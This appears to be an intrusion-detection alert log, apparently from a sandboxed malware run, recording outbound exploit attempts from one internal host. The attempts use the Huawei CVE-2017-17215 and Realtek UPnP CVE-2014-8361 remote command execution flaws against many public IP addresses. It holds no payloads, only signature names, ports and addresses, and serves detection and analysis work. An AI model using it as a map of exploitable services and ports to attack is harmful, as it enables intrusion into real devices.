07/20/24-23:05:52.261192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32970	37215	192.168.2.13	193.225.90.79
07/20/24-23:05:51.487087	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50918	52869	192.168.2.13	198.139.127.65
07/20/24-23:05:52.311536	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52402	37215	192.168.2.13	157.217.35.174
07/20/24-23:05:46.970753	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37062	37215	192.168.2.13	197.17.54.113
07/20/24-23:05:46.923415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38376	37215	192.168.2.13	157.135.46.253
07/20/24-23:05:51.418388	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60490	52869	192.168.2.13	66.56.180.47
07/20/24-23:05:47.485791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59960	52869	192.168.2.13	66.105.78.156
07/20/24-23:05:51.423445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42810	52869	192.168.2.13	201.57.227.248
07/20/24-23:05:46.912774	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40344	37215	192.168.2.13	157.44.153.97
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33476	37215	192.168.2.13	197.204.86.68
07/20/24-23:05:52.218581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56660	37215	192.168.2.13	157.168.183.88
07/20/24-23:05:46.912775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52282	37215	192.168.2.13	41.134.249.120
07/20/24-23:05:46.922963	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44620	37215	192.168.2.13	121.95.140.123
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35002	37215	192.168.2.13	41.179.131.198
07/20/24-23:05:47.534459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54520	37215	192.168.2.13	197.46.239.156
07/20/24-23:05:46.736426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48900	52869	192.168.2.13	204.151.222.243
07/20/24-23:05:46.762666	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39478	52869	192.168.2.13	84.205.84.200
07/20/24-23:05:47.534849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52920	37215	192.168.2.13	41.18.75.134
07/20/24-23:05:56.914843	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58694	52869	192.168.2.13	120.175.39.130
07/20/24-23:05:46.961659	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54004	37215	192.168.2.13	41.5.59.32
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53842	37215	192.168.2.13	41.58.87.142
07/20/24-23:05:46.306652	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49468	52869	192.168.2.13	124.62.99.179
07/20/24-23:05:51.426840	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49144	52869	192.168.2.13	205.216.169.243
07/20/24-23:05:46.982455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37948	37215	192.168.2.13	41.199.11.194
07/20/24-23:05:56.920979	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42410	52869	192.168.2.13	112.252.168.133
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38096	37215	192.168.2.13	41.167.41.252
07/20/24-23:05:51.418934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35100	52869	192.168.2.13	73.83.129.52
07/20/24-23:05:46.395067	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41922	52869	192.168.2.13	8.26.166.115
07/20/24-23:05:46.746802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59186	52869	192.168.2.13	80.48.49.198
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42838	37215	192.168.2.13	41.141.223.93
07/20/24-23:05:46.978420	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58920	37215	192.168.2.13	157.120.68.241
07/20/24-23:05:46.926640	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51454	37215	192.168.2.13	108.64.120.4
07/20/24-23:05:51.419676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46960	52869	192.168.2.13	39.125.186.30
07/20/24-23:05:46.973669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50186	37215	192.168.2.13	197.243.43.53
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54792	37215	192.168.2.13	157.163.226.171
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42838	37215	192.168.2.13	41.141.223.93
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42908	37215	192.168.2.13	14.98.48.248
07/20/24-23:05:46.982251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34480	37215	192.168.2.13	41.11.182.124
07/20/24-23:05:56.905634	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52382	52869	192.168.2.13	65.195.221.85
07/20/24-23:05:47.371297	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51580	52869	192.168.2.13	187.150.149.148
07/20/24-23:05:54.794021	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41630	52869	192.168.2.13	106.230.52.243
07/20/24-23:05:47.534849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47602	37215	192.168.2.13	197.248.194.40
07/20/24-23:05:46.918113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54418	37215	192.168.2.13	41.189.155.19
07/20/24-23:05:47.371297	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51580	52869	192.168.2.13	187.150.149.148
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32784	37215	192.168.2.13	147.233.201.83
07/20/24-23:05:46.907723	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39096	37215	192.168.2.13	206.65.197.101
07/20/24-23:05:46.978420	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57202	37215	192.168.2.13	197.248.18.125
07/20/24-23:05:51.428628	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34772	52869	192.168.2.13	62.80.115.9
07/20/24-23:05:46.757135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53984	52869	192.168.2.13	54.79.20.157
07/20/24-23:05:51.487087	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50738	52869	192.168.2.13	196.5.188.187
07/20/24-23:05:46.961659	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34862	37215	192.168.2.13	41.233.21.101
07/20/24-23:05:47.473512	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50094	52869	192.168.2.13	196.5.188.187
07/20/24-23:05:46.419288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49928	52869	192.168.2.13	155.180.4.142
07/20/24-23:05:46.816823	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39428	52869	192.168.2.13	221.3.242.5
07/20/24-23:05:56.825737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34368	52869	192.168.2.13	220.228.19.141
07/20/24-23:05:51.492271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44096	52869	192.168.2.13	54.82.97.176
07/20/24-23:05:54.837058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34442	52869	192.168.2.13	170.116.196.80
07/20/24-23:05:51.419963	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49718	52869	192.168.2.13	134.55.152.47
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47892	37215	192.168.2.13	124.96.161.46
07/20/24-23:05:52.198545	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40232	37215	192.168.2.13	41.123.171.135
07/20/24-23:05:46.982798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53706	37215	192.168.2.13	201.205.132.204
07/20/24-23:05:46.454400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60120	52869	192.168.2.13	221.37.81.113
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53562	37215	192.168.2.13	41.193.109.166
07/20/24-23:05:46.971186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50980	37215	192.168.2.13	157.66.96.178
07/20/24-23:05:51.419676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60494	52869	192.168.2.13	103.1.126.231
07/20/24-23:05:47.535868	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55710	37215	192.168.2.13	150.159.12.246
07/20/24-23:05:52.251312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52090	37215	192.168.2.13	97.109.184.0
07/20/24-23:05:46.539309	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59598	52869	192.168.2.13	44.60.208.210
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36052	37215	192.168.2.13	197.212.97.34
07/20/24-23:05:51.423445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49614	52869	192.168.2.13	204.151.222.243
07/20/24-23:05:51.431946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54984	52869	192.168.2.13	97.127.217.219
07/20/24-23:05:52.247739	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53684	37215	192.168.2.13	14.71.252.128
07/20/24-23:05:47.535438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57804	37215	192.168.2.13	197.42.25.100
07/20/24-23:05:54.215956	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44024	52869	192.168.2.13	101.165.109.42
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43500	37215	192.168.2.13	197.190.1.154
07/20/24-23:05:52.212387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39486	37215	192.168.2.13	105.53.62.168
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37188	37215	192.168.2.13	41.84.213.46
07/20/24-23:05:47.534849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33426	37215	192.168.2.13	157.250.31.164
07/20/24-23:05:56.825737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34368	52869	192.168.2.13	220.228.19.141
07/20/24-23:05:46.915618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39392	37215	192.168.2.13	157.77.35.15
07/20/24-23:05:46.907723	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48936	37215	192.168.2.13	12.193.234.170
07/20/24-23:05:51.487087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50918	52869	192.168.2.13	198.139.127.65
07/20/24-23:05:54.794021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41630	52869	192.168.2.13	106.230.52.243
07/20/24-23:05:46.529020	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60618	52869	192.168.2.13	159.113.67.133
07/20/24-23:05:52.311536	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51044	37215	192.168.2.13	197.107.121.109
07/20/24-23:05:46.419288	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49928	52869	192.168.2.13	155.180.4.142
07/20/24-23:05:46.816823	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39428	52869	192.168.2.13	221.3.242.5
07/20/24-23:05:47.494344	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43258	52869	192.168.2.13	213.105.255.191
07/20/24-23:05:46.770868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51450	52869	192.168.2.13	191.248.177.130
07/20/24-23:05:46.555942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56096	52869	192.168.2.13	79.205.6.73
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48834	37215	192.168.2.13	41.116.32.17
07/20/24-23:05:46.973669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33506	37215	192.168.2.13	73.245.214.213
07/20/24-23:05:51.423445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50056	52869	192.168.2.13	102.46.199.20
07/20/24-23:05:47.533385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46660	37215	192.168.2.13	157.218.98.239
07/20/24-23:05:46.967760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50316	37215	192.168.2.13	41.139.123.50
07/20/24-23:05:46.978420	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56012	37215	192.168.2.13	45.172.31.176
07/20/24-23:05:52.179209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45986	37215	192.168.2.13	157.141.104.84
07/20/24-23:05:54.837058	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34442	52869	192.168.2.13	170.116.196.80
07/20/24-23:05:52.265126	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33666	37215	192.168.2.13	41.219.104.62
07/20/24-23:05:54.784048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47050	52869	192.168.2.13	38.62.106.95
07/20/24-23:05:51.431946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38496	52869	192.168.2.13	81.130.219.80
07/20/24-23:05:51.441209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38238	52869	192.168.2.13	2.151.18.206
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34232	37215	192.168.2.13	213.42.125.74
07/20/24-23:05:52.258489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32958	37215	192.168.2.13	41.131.211.75
07/20/24-23:05:46.454400	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60120	52869	192.168.2.13	221.37.81.113
07/20/24-23:05:51.419963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56680	52869	192.168.2.13	137.36.77.53
07/20/24-23:05:52.218581	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37862	37215	192.168.2.13	197.201.153.177
07/20/24-23:05:46.539309	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59598	52869	192.168.2.13	44.60.208.210
07/20/24-23:05:46.981573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60188	37215	192.168.2.13	41.199.184.127
07/20/24-23:05:52.214853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38654	37215	192.168.2.13	157.118.39.51
07/20/24-23:05:46.364218	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59752	52869	192.168.2.13	66.56.180.47
07/20/24-23:05:47.494344	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43258	52869	192.168.2.13	213.105.255.191
07/20/24-23:05:51.418934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44836	52869	192.168.2.13	171.175.125.48
07/20/24-23:05:47.533322	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36628	37215	192.168.2.13	41.113.145.203
07/20/24-23:05:51.498918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52280	52869	192.168.2.13	187.150.149.148
07/20/24-23:05:47.534459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51370	37215	192.168.2.13	197.17.61.246
07/20/24-23:05:51.421136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49992	52869	192.168.2.13	116.152.21.19
07/20/24-23:05:46.555942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56096	52869	192.168.2.13	79.205.6.73
07/20/24-23:05:51.441209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52340	52869	192.168.2.13	72.17.189.116
07/20/24-23:05:52.264315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35434	37215	192.168.2.13	46.90.90.254
07/20/24-23:05:46.976752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38140	37215	192.168.2.13	157.107.248.38
07/20/24-23:05:46.907723	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54436	37215	192.168.2.13	197.64.154.239
07/20/24-23:05:46.390586	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54564	52869	192.168.2.13	49.95.69.134
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43060	37215	192.168.2.13	157.243.231.210
07/20/24-23:05:52.212387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56886	37215	192.168.2.13	211.173.199.71
07/20/24-23:05:47.498390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36184	52869	192.168.2.13	44.187.248.15
07/20/24-23:05:51.418278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33600	52869	192.168.2.13	54.54.215.85
07/20/24-23:05:51.427522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54622	52869	192.168.2.13	218.45.227.32
07/20/24-23:05:54.784048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47050	52869	192.168.2.13	38.62.106.95
07/20/24-23:05:51.421877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56524	52869	192.168.2.13	106.225.80.214
07/20/24-23:05:52.192507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40328	37215	192.168.2.13	197.79.45.83
07/20/24-23:05:52.199166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57060	37215	192.168.2.13	41.155.232.222
07/20/24-23:05:46.982251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35096	37215	192.168.2.13	157.149.252.54
07/20/24-23:05:46.991466	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32794	37215	192.168.2.13	151.128.221.242
07/20/24-23:05:52.229226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44684	37215	192.168.2.13	197.153.15.83
07/20/24-23:05:47.533810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58838	37215	192.168.2.13	157.215.207.96
07/20/24-23:05:46.529020	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60618	52869	192.168.2.13	159.113.67.133
07/20/24-23:05:51.461470	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34294	52869	192.168.2.13	78.110.167.93
07/20/24-23:05:46.981572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52036	37215	192.168.2.13	157.116.62.195
07/20/24-23:05:51.419963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59900	52869	192.168.2.13	80.48.49.198
07/20/24-23:05:52.264315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41398	37215	192.168.2.13	197.107.121.28
07/20/24-23:05:46.986114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42104	37215	192.168.2.13	41.15.253.221
07/20/24-23:05:56.905634	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52382	52869	192.168.2.13	65.195.221.85
07/20/24-23:05:46.976752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53532	37215	192.168.2.13	194.186.195.245
07/20/24-23:05:52.265126	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59174	37215	192.168.2.13	197.59.238.179
07/20/24-23:05:46.364218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59752	52869	192.168.2.13	66.56.180.47
07/20/24-23:05:52.247739	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56398	37215	192.168.2.13	41.219.200.135
07/20/24-23:05:46.915618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54346	37215	192.168.2.13	174.50.31.231
07/20/24-23:05:46.975762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47522	37215	192.168.2.13	41.128.226.57
07/20/24-23:05:54.771686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38458	52869	192.168.2.13	79.74.230.112
07/20/24-23:05:46.966276	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44808	37215	192.168.2.13	197.218.198.120
07/20/24-23:05:46.971186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51172	37215	192.168.2.13	41.113.181.100
07/20/24-23:05:51.426840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35202	52869	192.168.2.13	88.169.184.0
07/20/24-23:05:52.256968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60644	37215	192.168.2.13	211.210.77.207
07/20/24-23:05:52.265126	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56276	37215	192.168.2.13	137.166.47.229
07/20/24-23:05:52.269606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45318	37215	192.168.2.13	108.182.178.131
07/20/24-23:05:47.473512	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50094	52869	192.168.2.13	196.5.188.187
07/20/24-23:05:47.369590	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41096	52869	192.168.2.13	78.233.207.44
07/20/24-23:05:46.752647	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55814	52869	192.168.2.13	106.225.80.214
07/20/24-23:05:54.849179	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39222	52869	192.168.2.13	83.110.174.139
07/20/24-23:05:54.852519	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46548	52869	192.168.2.13	199.165.47.115
07/20/24-23:05:46.973669	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37606	37215	192.168.2.13	197.90.187.218
07/20/24-23:05:46.570241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52694	52869	192.168.2.13	69.105.43.224
07/20/24-23:05:46.830108	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37538	52869	192.168.2.13	2.151.18.206
07/20/24-23:05:52.199166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48374	37215	192.168.2.13	197.207.111.205
07/20/24-23:05:56.930135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51142	52869	192.168.2.13	51.210.97.246
07/20/24-23:05:56.941696	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34054	52869	192.168.2.13	36.191.196.165
07/20/24-23:05:51.881997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39196	52869	192.168.2.13	101.73.4.16
07/20/24-23:05:51.419963	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52160	52869	192.168.2.13	191.248.177.130
07/20/24-23:05:47.510743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41664	52869	192.168.2.13	132.142.106.204
07/20/24-23:05:46.923415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41578	37215	192.168.2.13	166.105.157.19
07/20/24-23:05:46.982455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36432	37215	192.168.2.13	41.153.74.23
